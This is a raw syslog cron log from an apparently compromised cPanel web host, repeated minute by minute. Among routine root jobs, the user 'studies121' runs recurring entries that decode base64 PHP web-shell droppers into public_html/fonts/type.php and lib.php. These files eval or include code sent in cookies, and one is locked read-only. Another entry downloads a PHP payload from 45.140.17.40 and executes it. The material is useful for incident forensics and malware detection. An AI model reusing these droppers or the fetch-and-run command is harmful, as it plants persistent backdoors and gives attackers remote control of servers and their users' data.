Sep 11 06:21:02 ip-184-168-122-23 CROND[15849]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:21:02 ip-184-168-122-23 CROND[15850]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:21:02 ip-184-168-122-23 CROND[15848]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 06:22:01 ip-184-168-122-23 CROND[15976]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 06:22:02 ip-184-168-122-23 CROND[15977]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 06:22:02 ip-184-168-122-23 CROND[15979]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:22:02 ip-184-168-122-23 CROND[15984]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 06:22:02 ip-184-168-122-23 CROND[15982]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:23:01 ip-184-168-122-23 CROND[16123]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 06:23:01 ip-184-168-122-23 CROND[16124]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:23:01 ip-184-168-122-23 CROND[16127]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:23:01 ip-184-168-122-23 CROND[16128]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 06:24:01 ip-184-168-122-23 CROND[16343]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 06:24:01 ip-184-168-122-23 CROND[16345]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:24:01 ip-184-168-122-23 CROND[16346]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 06:24:01 ip-184-168-122-23 CROND[16347]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 06:24:01 ip-184-168-122-23 CROND[16348]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:25:01 ip-184-168-122-23 CROND[16491]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:25:01 ip-184-168-122-23 CROND[16493]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:25:01 ip-184-168-122-23 CROND[16496]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 06:25:01 ip-184-168-122-23 CROND[16495]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 11 06:25:01 ip-184-168-122-23 CROND[16499]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 06:25:01 ip-184-168-122-23 CROND[16501]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 06:25:01 ip-184-168-122-23 CROND[16503]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 06:26:01 ip-184-168-122-23 CROND[16613]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:26:01 ip-184-168-122-23 CROND[16615]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 06:26:01 ip-184-168-122-23 CROND[16614]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 06:26:01 ip-184-168-122-23 CROND[16617]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 06:26:01 ip-184-168-122-23 CROND[16618]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:27:01 ip-184-168-122-23 CROND[16733]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:27:01 ip-184-168-122-23 CROND[16734]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 06:27:01 ip-184-168-122-23 CROND[16735]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 06:27:01 ip-184-168-122-23 CROND[16736]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:28:01 ip-184-168-122-23 CROND[16836]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 06:28:01 ip-184-168-122-23 CROND[16838]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 06:28:01 ip-184-168-122-23 CROND[16839]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:28:01 ip-184-168-122-23 CROND[16840]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 06:28:01 ip-184-168-122-23 CROND[16841]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:29:01 ip-184-168-122-23 CROND[17012]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 06:29:01 ip-184-168-122-23 CROND[17013]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:29:01 ip-184-168-122-23 CROND[17014]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:29:01 ip-184-168-122-23 CROND[17015]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 06:30:01 ip-184-168-122-23 CROND[17141]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:30:01 ip-184-168-122-23 CROND[17146]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:30:01 ip-184-168-122-23 CROND[17147]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 06:30:01 ip-184-168-122-23 CROND[17149]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 06:30:01 ip-184-168-122-23 CROND[17150]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 06:30:01 ip-184-168-122-23 CROND[17151]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 06:30:01 ip-184-168-122-23 CROND[17155]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 06:30:01 ip-184-168-122-23 CROND[17153]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 06:31:01 ip-184-168-122-23 CROND[17293]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 06:31:01 ip-184-168-122-23 CROND[17294]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 06:31:01 ip-184-168-122-23 CROND[17296]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:31:01 ip-184-168-122-23 CROND[17295]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:31:01 ip-184-168-122-23 CROND[17298]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 06:32:01 ip-184-168-122-23 CROND[17402]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:32:01 ip-184-168-122-23 CROND[17405]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 06:32:01 ip-184-168-122-23 CROND[17408]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:32:01 ip-184-168-122-23 CROND[17407]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 06:32:01 ip-184-168-122-23 CROND[17406]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 06:33:01 ip-184-168-122-23 CROND[17509]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 06:33:01 ip-184-168-122-23 CROND[17512]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
